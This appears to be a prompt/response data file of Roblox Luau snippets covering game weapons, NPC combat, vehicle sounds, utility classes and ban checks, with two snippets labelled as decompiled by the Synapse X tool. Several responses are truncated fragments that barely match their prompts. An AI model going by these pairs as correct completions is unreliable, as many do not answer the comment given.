Response:
	,EnableHolster = true
	,HolsterTo = 'Torso'				 -- Put the name of the body part you wanna holster to
	,HolsterPos = CFrame.new(1.2, -1, 0.1) * CFrame.Angles(math.rad(-110), math.rad(0), math.rad(0))

	,RightArmPos = CFrame.new(-0.575, 0.65, -1.185) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Server
	,LeftArmPos = CFrame.new(1.15,-0.1,-1.65) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25))	--server

	,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
	,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))

	,RightPos = CFrame.new(-0.3,.4, -.6) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Client
	,LeftPos = CFrame.new(.3,-0.2,-1.35) * CFrame.Angles(math.rad(-130),math.rad(20),math.rad(10))	--Client
}

return Config


Prompt: --// Body Parts

Response:
local L_11_ = L_2_:WaitForChild('Humanoid')
local L_12_ = L_2_:WaitForChild('HumanoidRootPart')
local L_13_ = L_2_:WaitForChild('Head')


Prompt: -- Detect when prompt is triggered

Response:
local function onPromptTriggered(promptObject, player)
	ObjectActions.promptTriggeredActions(promptObject, player)
end


Prompt:
--- Add a task to clean up. Tasks given to a maid will be cleaned when
--  maid[index] is set to a different value.
-- @usage
-- Maid[key] = (function)         Adds a task to perform
-- Maid[key] = (event connection) Manages an event connection
-- Maid[key] = (Maid)             Maids can act as an event connection, allowing a Maid to have other maids to clean up.
-- Maid[key] = (Object)           Maids can cleanup objects with a `Destroy` method
-- Maid[key] = nil                Removes a named task. If the task is an event, it is disconnected. If it is an object,
--                                it is destroyed.

Response:
function Maid:__newindex(index, newTask)
	if Maid[index] ~= nil then
		error(("'%s' is reserved"):format(tostring(index)), 2)
	end

	local tasks = self._tasks
	local oldTask = tasks[index]

	if oldTask == newTask then
		return
	end

	tasks[index] = newTask

	if oldTask then
		if type(oldTask) == "function" then
			oldTask()
		elseif typeof(oldTask) == "RBXScriptConnection" then
			oldTask:Disconnect()
		elseif oldTask.Destroy then
			oldTask:Destroy()
		end
	end
end


Prompt: -- slash1

Response:
Attack(target,structureDamage)
end
wait(.3)
end
end

else
if not enRoute then
wait(math.random(1,4))
if not target then
ScanForPoint()
end
end

end

wait()
end -- end of loop
end)
movementCoroutine()

local scanCoroutine = coroutine.wrap(function()
while task.wait(3) do
local nearestPlayer,closestPlayerDist = nil,60
local nearestBuilding,closestBuildingDist = nil, 100

for _,player in next,game.Players:GetPlayers() do
if player.Character and player.Character:IsDescendantOf(workspace) then
local pos = player.Character.PrimaryPart.Position
local dist = (root.Position-pos).magnitude
if dist < closestPlayerDist then
nearestPlayer = player
closestPlayerDist = dist
end
end
game:GetService("RunService").Heartbeat:wait()
end

local structures = _G.worldStructures
for building,buildingData in next,structures do
local dist = (building.PrimaryPart.Position-root.Position).magnitude
if dist < closestBuildingDist then
nearestBuilding = building
closestBuildingDist = dist
end
game:GetService("RunService").Heartbeat:wait()
end

if nearestPlayer and nearestBuilding then


Prompt: --------LIGHTED RECTANGLES--------

Response:
game.Workspace.pillar1.BrickColor = BrickColor.new(194)
game.Workspace.pillar2.BrickColor = BrickColor.new(194)
game.Workspace.pillar3.BrickColor = BrickColor.new(194)
game.Workspace.pillar4.BrickColor = BrickColor.new(194)
game.Workspace.pillar5.BrickColor = BrickColor.new(194)
game.Workspace.pillar6.BrickColor = BrickColor.new(194)
game.Workspace.pillar7.BrickColor = BrickColor.new(194)
game.Workspace.pillar8.BrickColor = BrickColor.new(194)


Prompt:
--[[Tires]]--
-- Tire Curve Profiler: https://www.desmos.com/calculator/og4x1gyzng

Response:
Tune.TireCylinders	= 4			-- How many cylinders are used for the tires. More means a smoother curve but way more parts meaning lag. (Default = 4)
Tune.TiresVisible	= false		-- Makes the tires visible (Debug)


Prompt:
--[[
	Event functions
]]

Response:
local function onHeartbeat()
	if target then
		-- Point towards the enemy
		maid.alignOrientation.Enabled = true
		maid.worldAttachment.CFrame = CFrame.new(maid.humanoidRootPart.Position, target.Position)
	else
		maid.alignOrientation.Enabled = false
	end

	if target then
		local inAttackRange = (target.Position - maid.humanoidRootPart.Position).magnitude <= ATTACK_RANGE + 1

		if inAttackRange then
			if not attacking and tick() - lastAttackTime > ATTACK_DELAY then
				attack()
			end
		else
			runToTarget()
		end
	end

	-- Check if the current target no longer exists or is not attackable
	if not target or not isInstaceAttackable(target) then
		findTargets()
	end
end

local function died()
	target = nil
	attacking = false
	newTarget = nil
	searchParts = nil
	searchingForTargets = false

	maid.heartbeatConnection:Disconnect()

	maid.humanoidRootPart.Anchored = true
	maid.deathAnimation:Play()

	wait(maid.deathAnimation.Length * 0.65)

	maid.deathAnimation:Stop()
	maid.humanoidRootPart.Anchored = false

	if RAGDOLL_ENABLED then
		Ragdoll(maid.instance, maid.humanoid)
	end

	if DESTROY_ON_DEATH then
		delay(DEATH_DESTROY_DELAY, function()
			destroy()
		end)
	end
end


Prompt:
--[[
	Converts a yielding function into a Promise-returning one.
]]

Response:
function Promise.promisify(callback)
	return function(...)
		return Promise._try(debug.traceback(nil, 2), callback, ...)
	end
end
Promise.Promisify = Promise.promisify


Prompt: ----- Bath water level and temp handler -----

Response:
while true do
	if script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 2.5 then -- if BOTH ON and PLUGGED
		water.Scale = water.Scale + Vector3.new(0,0.01,0)
		water.Offset = Vector3.new(0,water.Scale.Y/2,0)
		hotWater = hotWater + 1
		coldWater = coldWater + 1
		drainSound:Stop()
	elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 2.5 then -- if ON and PLUGGED
		water.Scale = water.Scale + Vector3.new(0,0.01,0)
		water.Offset = Vector3.new(0,water.Scale.Y/2,0)
		if script.Parent.HotOn.Value == true then
			hotWater = hotWater + 1
		else
			coldWater = coldWater + 1
		end
		drainSound:Stop()
	elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 2.5 then -- if ON and NOT PLUGGED
		if script.Parent.HotOn.Value == true then
			coldWater = coldWater - 1
		else
			hotWater = hotWater - 1
		end
		drainSound:Stop()
	elseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED
		water.Scale = water.Scale + Vector3.new(0,-0.01,0)
		water.Offset = Vector3.new(0,water.Scale.Y/2,0)
		coldWater = coldWater - 1
		hotWater = hotWater - 1
		drainSound:Play()
	end

	if coldWater < 1 then
		coldWater = 1
	end
	if hotWater < 1 then
		hotWater = 1
	end

	waterTemp = hotWater/coldWater

	if waterTemp > 1 then
		water.Parent.SteamEmitter.Enabled = true
	else
		water.Parent.SteamEmitter.Enabled = false
	end
	wait(0.1)

	if water.Scale.Y <= 0 then
		drainSound:Stop()
	end

	if (script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true) and script.Parent.ShowerMode.Value == false then
		script.Parent.Splash.ParticleEmitter.Enabled = true
	else
		script.Parent.Splash.ParticleEmitter.Enabled = false
	end
end


Prompt:
-- Adds verbose console logging for e.g. state updates, suspense, and work loop stuff.
-- Intended to enable React core members to more easily debug scheduling issues in DEV builds.

Response: exports.enableDebugTracing = false


Prompt: --[[Manage Plugins]]

Response:
script.Parent.Interface:WaitForChild("Bike").Value=bike
for i,v in pairs(script.Parent.Plugins:GetChildren()) do
	for _,a in pairs(v:GetChildren()) do
		if a:IsA("RemoteEvent") or a:IsA("RemoteFunction") then
			a.Parent=bike
			for _,b in pairs(a:GetChildren()) do
				if b:IsA("Script") then b.Disabled=false end
			end
		end
	end
	v.Parent = script.Parent.Interface
end
script.Parent.Plugins:Destroy()


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0

script:WaitForChild("Wheel")

if not FE then
	for i,v in pairs(car.Body.WHEEL:GetChildren()) do
		for _,a in pairs(script:GetChildren()) do
			if v.Name==a.Name then v:Stop() wait() v:Destroy() end
		end
	end
	for i,v in pairs(script:GetChildren()) do
		v.Parent=car.Body.WHEEL
	end

	car.Body.WHEEL.Wheel:Play()

	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end

car.Body.WHEEL.Wheel.Pitch = (car.Body.WHEEL.Wheel.SetPitch.Value + car.Body.WHEEL.Wheel.SetRev.Value*_RPM/_Tune.Redline)*on^2

		if _RPM == 700 then

			car.Body.WHEEL.Wheel.Volume = 0.1

		end

	end
else
	local handler = car.AC6_FE_Sounds

	handler:FireServer("newSound","Wheel",car.Body.WHEEL,script.Wheel.SoundId,0,script.Wheel.Volume,true)
	handler:FireServer("playSound","Wheel")

	local pitch4=0
	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end

		pitch4 = (script.Wheel.SetPitch.Value + script.Wheel.SetRev.Value*_RPM/_Tune.Redline)*on^2

		handler:FireServer("updateSound","Wheel",script.idle.SoundId,pitch4,script.Wheel.Volume)
	end
end


Prompt: -- DefaultValue for spare ammo

Response: local SpareAmmo = 800


Prompt:
-- Developer : AinStrqfe
-- Developer : AinStrqfe
-- Developer : AinStrqfe


Prompt: --// Walk and Sway

Response:
local L_133_

local L_134_ = 0.6
local L_135_ = 0.05 -- speed
local L_136_ = -0.1 -- height

local L_137_ = 0
local L_138_ = 0
local L_139_ = 35 --This is the limit of the mouse input for the sway
local L_140_ = -9 --This is the magnitude of the sway when you're unaimed
local L_141_ = -9 --This is the magnitude of the sway when you're aimed


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {};
local l__LocalPlayer__3 = game.Players.LocalPlayer;
local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule"));
v2.value = 250;
v2.event = v4.event.Boosts;
v4.event.Boosts.Event:connect(function(p1)
	if type(p1) == "number" then
		v2.value = p1;
		return;
	end;
	v2.value = 250;
end);
v2.value = v4.data.Boosts;
return v2;


Prompt: --// Connections

Response:
L_108_.OnClientEvent:connect(function(L_191_arg1, L_192_arg2, L_193_arg3, L_194_arg4, L_195_arg5, L_196_arg6, L_197_arg7)
	if L_191_arg1 and not L_15_ then
		MakeFakeArms()

		L_42_ = L_2_.PlayerGui.MainGui
		L_26_ = L_42_:WaitForChild('Others')
		L_27_ = L_26_:WaitForChild('Kill')
		L_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')
		L_29_ = L_28_:WaitForChild('Ammo')
		L_30_ = L_28_:WaitForChild('AmmoBackground')
		L_31_ = L_28_:WaitForChild('MagCount')
		L_32_ = L_28_:WaitForChild('MagCountBackground')
		L_33_ = L_28_:WaitForChild('DistDisp')
		L_34_ = L_28_:WaitForChild('Title')
		L_35_ = L_28_:WaitForChild('Mode1')
		L_36_ = L_28_:WaitForChild('Mode2')
		L_37_ = L_28_:WaitForChild('Mode3')
		L_38_ = L_28_:WaitForChild('Mode4')
		L_39_ = L_28_:WaitForChild('Mode5')
		L_40_ = L_28_:WaitForChild('Stances')
		L_41_ = L_42_:WaitForChild('Shading')
		L_41_.Visible = false

		L_34_.Text = L_1_.Name
		UpdateAmmo()

		L_43_ = L_192_arg2
		L_44_ = L_193_arg3
		L_45_ = L_194_arg4
		L_46_ = L_195_arg5
		L_47_ = L_196_arg6
		L_48_ = L_197_arg7
		L_49_ = L_62_.Bolt

		L_87_ = L_48_.C1
		L_88_ = L_48_.C0

		if L_1_:FindFirstChild('AimPart2') then
			L_57_ = L_1_:WaitForChild('AimPart2')
		end

		if L_1_:FindFirstChild('FirePart2') then
			L_60_ = L_1_.FirePart2
		end

		if L_24_.FirstPersonOnly then
			L_2_.CameraMode = Enum.CameraMode.LockFirstPerson
		end
		--uis.MouseIconEnabled = false
		L_5_.FieldOfView = 70
		L_15_ = true
	elseif L_15_ then
		if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then
			Stand()
			Unlean()
		end

		L_93_ = 0
		L_80_ = false
		L_81_ = false
		L_82_ = false
		L_64_ = false
		L_67_ = false
		L_66_ = false
		Shooting = false

		L_97_ = 70

		RemoveArmModel()

		L_42_:Destroy()

		for L_198_forvar1, L_199_forvar2 in pairs(IgnoreList) do
			if L_199_forvar2 ~= L_3_ and L_199_forvar2 ~= L_5_ and L_199_forvar2 ~= L_101_ then
				table.remove(IgnoreList, L_198_forvar1)
			end
		end

		if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
			L_3_['Right Arm'].LocalTransparencyModifier = 0
			L_3_['Left Arm'].LocalTransparencyModifier = 0
		end

		L_78_ = false
		L_69_ = true

		L_2_.CameraMode = Enum.CameraMode.Classic
		L_107_.MouseIconEnabled = true
		L_5_.FieldOfView = 70
		L_15_ = false
		L_107_.MouseDeltaSensitivity = L_52_
		L_4_.Icon = ""
		L_15_ = false
		L_4_.TargetFilter = nil
	end
end)


Prompt: --Make sure players stay banned.

Response:
local DataStore = game:GetService("DataStoreService"):GetDataStore("motfAdminPanel")
function checkBan(player)

	local Reason = DataStore:GetAsync(string.lower(player.Name))

	if Reason == nil or Reason == 0 then
		return
	end

	wait(1)
	if Reason == 1 then
		player:Kick("You are banned")
	else
		player:Kick("You are banned for the following reason: " .. Reason)
	end
end

game.Players.PlayerAdded:connect(checkBan)


Prompt: --redgreen -xmas

Response:
script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
mode9()
end

function mode10()


Response:
pcall(function() n.CFrame = GBCF(n.CFrame,v[1].p)*(v[1]-v[1].p) end)
end
end
wait()
end
end
Finished = Finished+1


Prompt: -- Get the StarterGui

Response: local StarterGui = game.StarterGui


Prompt: -- API

Response:
local Core = require(Tool.Core)
local Selection = Core.Selection


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 1 -- cooldown for use of the tool again

BoneModelName = "Fork" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt:
-- A very simple module that only gives the included tools to people inside of the groupID.
-- Just place the

Response:
local module = {}

local function dostuff(p, core)
	--print("new player")
	local rank = core.getPlayerRank(p)
	--print(rank)
	if rank ~= 0 then
		p.CharacterAdded:Connect(function()
			--print("new char")
			for i, v in pairs(script:GetChildren()) do
				v:Clone().Parent = p.Backpack
			end
		end)
		-- for first spawn
		--print("first spawn")
		for i, v in pairs(script:GetChildren()) do
			v:Clone().Parent = p.Backpack
		end
	end
end

function module.loadServer(core)
	--print(core)
	game:GetService("Players").PlayerAdded:Connect(function(p)
		dostuff(p, core)
	end)

	for i, v in pairs(game:GetService("Players"):GetChildren()) do -- first load
		dostuff(v, core)
	end
end

return module


Prompt:
--//=================================\\
--|| 			FUNCTIONS
--\\=================================//

Response:
function CreatePart(FORMFACTOR, PARENT, MATERIAL, REFLECTANCE, TRANSPARENCY, BRICKCOLOR, NAME, SIZE, ANCHOR)
	local NEWPART = IT("Part")
	NEWPART.formFactor = FORMFACTOR
	NEWPART.Reflectance = REFLECTANCE
	NEWPART.Transparency = TRANSPARENCY
	NEWPART.CanCollide = false
	NEWPART.Locked = true
	NEWPART.Anchored = true
	if ANCHOR == false then
		NEWPART.Anchored = false
	end
	NEWPART.BrickColor = BRICKC(tostring(BRICKCOLOR))
	NEWPART.Name = NAME
	NEWPART.Size = SIZE
	NEWPART.Position = TORSO.Position
	NEWPART.Material = MATERIAL
	NEWPART:BreakJoints()
	NEWPART.Parent = PARENT
	return NEWPART
end

function Raycast(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS)
	return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS)
end


Prompt:
--I M P O R T A N T--
------------------------------------------------------------------------
--Don't change any of this unless you know what you are doing.
--This script is the blur affect but also the exit button script.
------------------------------------------------------------------------

Response:
local blur = game.Lighting.Blur
local frame = script.Parent
local close = script.Parent.CloseButton

if
	frame.Visible == true
then
	blur.Enabled = true
end

close.MouseButton1Click:Connect(function()
	frame.Visible = false
end)

close.MouseButton1Click:Connect(function()
	blur.Enabled = false
end)


Prompt: --local Sprinting =false

Response:
local L_142_ = L_118_.new(Vector3.new())
L_142_.s = 15
L_142_.d = 0.5

game:GetService("UserInputService").InputChanged:connect(function(L_269_arg1) --Get the mouse delta for the gun sway
	if L_269_arg1.UserInputType == Enum.UserInputType.MouseMovement then
		L_137_ = math.min(math.max(L_269_arg1.Delta.x, -L_139_), L_139_)
		L_138_ = math.min(math.max(L_269_arg1.Delta.y, -L_139_), L_139_)
	end
end)

L_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still
	L_137_ = 0
	L_138_ = 0
end)

local L_143_ = false
local L_144_ = CFrame.new()
local L_145_ = CFrame.new()

local L_146_ = 0
local L_147_ = CFrame.new()
local L_148_ = 0.1
local L_149_ = 2

local L_150_ = 0
local L_151_ = .2
local L_152_	= 17

local L_153_ = 0
local L_154_ = 5
local L_155_ = .3

local L_156_, L_157_ = 0, 0

local L_158_ = nil
local L_159_ = nil
local L_160_ = nil

L_3_.Humanoid.Running:connect(function(L_270_arg1)
	if L_270_arg1 > 1 then
		L_143_ = true
	else
		L_143_ = false
	end
end)


Prompt:
--local GUI = script.LoadingScreen:Clone()
--GUI.Parent = PlayerGui


Prompt: -- Public Functions

Response:
function PlayerManager:SetGameRunning(running)
	GameRunning = running
end

function PlayerManager:ClearPlayerScores()
	for _, player in ipairs(Players:GetPlayers()) do
		local leaderstats = player:FindFirstChild('leaderstats')
		if leaderstats then
			local Captures = leaderstats:FindFirstChild('Captures')
			if Captures then
				Captures.Value = 0
			end
		end
	end
end

function PlayerManager:LoadPlayers()
	for _, player in ipairs(Players:GetPlayers()) do
		player:LoadCharacter()
	end
end

function PlayerManager:AllowPlayerSpawn(allow)
	PlayersCanSpawn = allow
end

function PlayerManager:DestroyPlayers()
	for _, player in ipairs(Players:GetPlayers()) do
		player.Character:Destroy()
		for _, item in ipairs(player.Backpack:GetChildren()) do
			item:Destroy()
		end
	end
	ResetMouseIcon:FireAllClients()
end

function PlayerManager:AddPlayerScore(player, score)
	player.leaderstats.Captures.Value = player.leaderstats.Captures.Value + score
	local success, message = pcall(function() spawn(function() PointsService:AwardPoints(player.userId, score) end) end)
end


Response:
TCS.OnIncomingMessage = function(Msg)
	if Msg.Metadata then
		local overrideProperties = Instance.new("TextChatMessageProperties")
		overrideProperties.Text = Msg.Text
		return overrideProperties
	else
		-- do nothing
		return nil
	end
end


Prompt:
--[[
	DataStore2: A wrapper for data stores that caches, saves player's data, and uses berezaa's method of saving data.
	Use require(1936396537) to have an updated version of DataStore2.

	DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore

	DataStore2 DataStore:
	- Get([defaultValue])
	- Set(value)
	- Update(updateFunc)
	- Increment(value, defaultValue)
	- BeforeInitialGet(modifier)
	- BeforeSave(modifier)
	- Save()
	- OnUpdate(callback)
	- BindToClose(callback)

	local coinStore = DataStore2("Coins", player)

	To give a player coins:

	coinStore:Increment(50)

	To get the current player's coins:

	coinStore:Get()
--]]


Prompt: --// Recoil Settings

Response:
	gunrecoil = -0.3; -- How much the gun recoils backwards when not aiming
	camrecoil = 0.03; -- How much the camera flicks when not aiming
	AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming
	AimCamRecoil = 0.01; -- How much the camera flicks when aiming

	Kickback = 3; -- Upward gun rotation when not aiming
	AimKickback = 2; -- Upward gun rotation when aiming


Prompt:
--[=[
	Provide a variety of utility table operations
	@class Table
]=]

Response: local Table = {}


Prompt: --Loop For Making Rays For The Bullet's Trajectory

Response:
local fallOfShot = 4.75

for i = 1, 120 do
	local thisOffset = offset + Vector3.new(0, yOffset*(i-fallOfShot), 0)
	local travelRay = Ray.new(point1,thisOffset)
	local hit, position = workspace:FindPartOnRay(travelRay, parts.Parent)

	local distance 		= (position - point1).magnitude
	round.Size				= Vector3.new(1.1, distance, 1.1)
	round.CFrame			= CFrame.new(position, point1)
								* CFrame.new(0, 0, -distance/2)
								* CFrame.Angles(math.rad(90),0,0)
	round.Parent			= workspace
	point1					= point1 + thisOffset

	if hit then
		round:remove()
		local e = Instance.new("Explosion")
		e.BlastRadius = 5
		e.BlastPressure = 10
		e.Position = position
		e.Parent = workspace
		e.DestroyJointRadiusPercent = 0

			if hit and hit.Parent then
		if hit.Parent:FindFirstChild("Humanoid") then
			return hit.Parent.Humanoid
		elseif hit.Parent.Parent:FindFirstChild("Humanoid") then
			return hit.Parent.Parent.Humanoid

		elseif (hit.Parent.Name ==  "Hull") or (hit.Parent.Name ==  "Turret") or (hit.Parent.Name ==  "Gun") or (hit.Parent.Name ==  "Parts") then
			print("You Have Damaged a Vehicle")
			local HitSound = hit.Parent:findFirstChild("Pen"):Clone()
			HitSound.Parent = hit
			HitSound:Play()
			hit.Parent.Parent:findFirstChild("Damage").Value = hit.Parent.Parent:findFirstChild("Damage").Value - damage
			if hit.Parent.Parent:findFirstChild("Damage").Value<1 and hit.Parent.Parent:findFirstChild("Destroyed").Value == false then

			local DestroyScript = hit.Parent.Parent:findFirstChild("DestroyScript"):clone()
			DestroyScript.Parent = hit.Parent.Parent
			DestroyScript.Disabled = false

			print("Vehicle Disabled")

			end

		elseif hit.Name == "Left Arm" or hit.Name == "Left Leg" or hit.Name == "Right Arm" or hit.Name == "Right Leg" or hit.Name == "Torso" or hit.Name == "HumanoidRootPart" then
			hit.Parent:findFirstChild("Humanoid").Health = hit.Parent:findFirstChild("Humanoid").Health - damage
			print("Direct Hit a Player lmao")

		elseif hit.Parent.Name == "Face" then
			hit.Parent.Parent:findFirstChild("Humanoid").Health = hit.Parent.Parent:findFirstChild("Humanoid").Health - dealingdamage
			print("Direct Hit a Morph of a Player lmao")

		end
		end

		local players = game.Players:getChildren()
		for i = 1, #players do

			-- if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally
				character = players[i].Character
				torso = character:findFirstChild'Torso'
				if character and torso then

						torsoPos = torso.Position
						origPos = round.Position

						local ray = Ray.new(origPos, torsoPos-origPos)
						local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList)
						if hit then
							if hit.Parent == character then
								human = hit.Parent:findFirstChild("Humanoid")
								human2 = hit.Parent.Parent:findFirstChild("Humanoid")
								if human then
									distance = (position-origPos).magnitude


Prompt: -- Tell owner to show footsteps

Response: game.ReplicatedStorage.Interactions.Client.Perks.UseXRay:FireClient(script.Owner.Value)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
v1.__index = v1;
local l__Players__2 = game:GetService("Players");
local l__RunService__3 = game:GetService("RunService");
local l__UserInputService__4 = game:GetService("UserInputService");
local l__Workspace__5 = game:GetService("Workspace");
local l__UserGameSettings__6 = UserSettings():GetService("UserGameSettings");
local l__VRService__7 = game:GetService("VRService");
local v8 = require(script:WaitForChild("Keyboard"));
local v9 = require(script:WaitForChild("Gamepad"));
local v10 = require(script:WaitForChild("DynamicThumbstick"));
local v11, v12 = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserFlagEnableNewVRSystem");
end);
local v13, v14 = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserMakeThumbstickDynamic");
end);
local v15 = (v13 or v14) and v10 or require(script:WaitForChild("TouchThumbstick"));
local v16 = require(script:WaitForChild("ClickToMoveController"));
local u1 = require(script:WaitForChild("VehicleController"));
local l__Value__2 = Enum.ContextActionPriority.Default.Value;
function v1.new()
	local v17 = setmetatable({}, v1);
	v17.controllers = {};
	v17.activeControlModule = nil;
	v17.activeController = nil;
	v17.touchJumpController = nil;
	v17.moveFunction = l__Players__2.LocalPlayer.Move;
	v17.humanoid = nil;
	v17.lastInputType = Enum.UserInputType.None;
	v17.humanoidSeatedConn = nil;
	v17.vehicleController = nil;
	v17.touchControlFrame = nil;
	v17.vehicleController = u1.new(l__Value__2);
	l__Players__2.LocalPlayer.CharacterAdded:Connect(function(p1)
		v17:OnCharacterAdded(p1);
	end);
	l__Players__2.LocalPlayer.CharacterRemoving:Connect(function(p2)
		v17:OnCharacterRemoving(p2);
	end);
	if l__Players__2.LocalPlayer.Character then
		v17:OnCharacterAdded(l__Players__2.LocalPlayer.Character);
	end;
	l__RunService__3:BindToRenderStep("ControlScriptRenderstep", Enum.RenderPriority.Input.Value, function(p3)
		v17:OnRenderStepped(p3);
	end);
	l__UserInputService__4.LastInputTypeChanged:Connect(function(p4)
		v17:OnLastInputTypeChanged(p4);
	end);
	l__UserGameSettings__6:GetPropertyChangedSignal("TouchMovementMode"):Connect(function()
		v17:OnTouchMovementModeChange();
	end);
	l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function()
		v17:OnTouchMovementModeChange();
	end);
	l__UserGameSettings__6:GetPropertyChangedSignal("ComputerMovementMode"):Connect(function()
		v17:OnComputerMovementModeChange();
	end);
	l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
		v17:OnComputerMovementModeChange();
	end);
	v17.playerGui = nil;
	v17.touchGui = nil;
	v17.playerGuiAddedConn = nil;
	l__UserInputService__4:GetPropertyChangedSignal("ModalEnabled"):Connect(function()
		v17:UpdateTouchGuiVisibility();
	end);
	if not l__UserInputService__4.TouchEnabled then
		v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType());
		return v17;
	end;
	v17.playerGui = l__Players__2.LocalPlayer:FindFirstChildOfClass("PlayerGui");
	if not v17.playerGui then
		v17.playerGuiAddedConn = l__Players__2.LocalPlayer.ChildAdded:Connect(function(p5)
			if p5:IsA("PlayerGui") then
				v17.playerGui = p5;
				v17:CreateTouchGuiContainer();
				v17.playerGuiAddedConn:Disconnect();
				v17.playerGuiAddedConn = nil;
				v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType());
			end;
		end);
		return v17;
	end;
	v17:CreateTouchGuiContainer();
	v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType());
	return v17;
end;
function v1.GetMoveVector(p6)
	if not p6.activeController then
		return Vector3.new(0, 0, 0);
	end;
	return p6.activeController:GetMoveVector();
end;
function v1.GetActiveController(p7)
	return p7.activeController;
end;
function v1.EnableActiveControlModule(p8)
	if p8.activeControlModule == v16 then
		p8.activeController:Enable(true, l__Players__2.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.UserChoice, p8.touchJumpController);
		return;
	end;
	if not p8.touchControlFrame then
		p8.activeController:Enable(true);
		return;
	end;
	p8.activeController:Enable(true, p8.touchControlFrame);
end;
function v1.Enable(p9, p10)
	if not p9.activeController then
		return;
	end;
	if p10 == nil then
		p10 = true;
	end;
	if p10 then
		p9:EnableActiveControlModule();
		return;
	end;
	p9:Disable();
end;
function v1.Disable(p11)
	if p11.activeController then
		p11.activeController:Enable(false);
		if p11.moveFunction then
			p11.moveFunction(l__Players__2.LocalPlayer, Vector3.new(0, 0, 0), true);
		end;
	end;
end;
local u3 = {
	[Enum.UserInputType.Keyboard] = v8,
	[Enum.UserInputType.MouseButton1] = v8,
	[Enum.UserInputType.MouseButton2] = v8,
	[Enum.UserInputType.MouseButton3] = v8,
	[Enum.UserInputType.MouseWheel] = v8,
	[Enum.UserInputType.MouseMovement] = v8,
	[Enum.UserInputType.Gamepad1] = v9,
	[Enum.UserInputType.Gamepad2] = v9,
	[Enum.UserInputType.Gamepad3] = v9,
	[Enum.UserInputType.Gamepad4] = v9
};
local u4 = nil;
local u5 = {
	[Enum.TouchMovementMode.DPad] = v10,
	[Enum.DevTouchMovementMode.DPad] = v10,
	[Enum.TouchMovementMode.Thumbpad] = v10,
	[Enum.DevTouchMovementMode.Thumbpad] = v10,
	[Enum.TouchMovementMode.Thumbstick] = v15,
	[Enum.DevTouchMovementMode.Thumbstick] = v15,
	[Enum.TouchMovementMode.DynamicThumbstick] = v10,
	[Enum.DevTouchMovementMode.DynamicThumbstick] = v10,
	[Enum.TouchMovementMode.ClickToMove] = v16,
	[Enum.DevTouchMovementMode.ClickToMove] = v16,
	[Enum.TouchMovementMode.Default] = v10,
	[Enum.ComputerMovementMode.Default] = v8,
	[Enum.ComputerMovementMode.KeyboardMouse] = v8,
	[Enum.DevComputerMovementMode.KeyboardMouse] = v8,
	[Enum.DevComputerMovementMode.Scriptable] = nil,
	[Enum.ComputerMovementMode.ClickToMove] = v16,
	[Enum.DevComputerMovementMode.ClickToMove] = v16
};
function v1.SelectComputerMovementModule(p12)
	if not l__UserInputService__4.KeyboardEnabled and not l__UserInputService__4.GamepadEnabled then
		return nil, false;
	end;
	local l__DevComputerMovementMode__18 = l__Players__2.LocalPlayer.DevComputerMovementMode;
	if l__DevComputerMovementMode__18 == Enum.DevComputerMovementMode.UserChoice then
		local v19 = u3[u4];
		if l__UserGameSettings__6.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove and v19 == v8 then
			v19 = v16;
		end;
	else
		v19 = u5[l__DevComputerMovementMode__18];
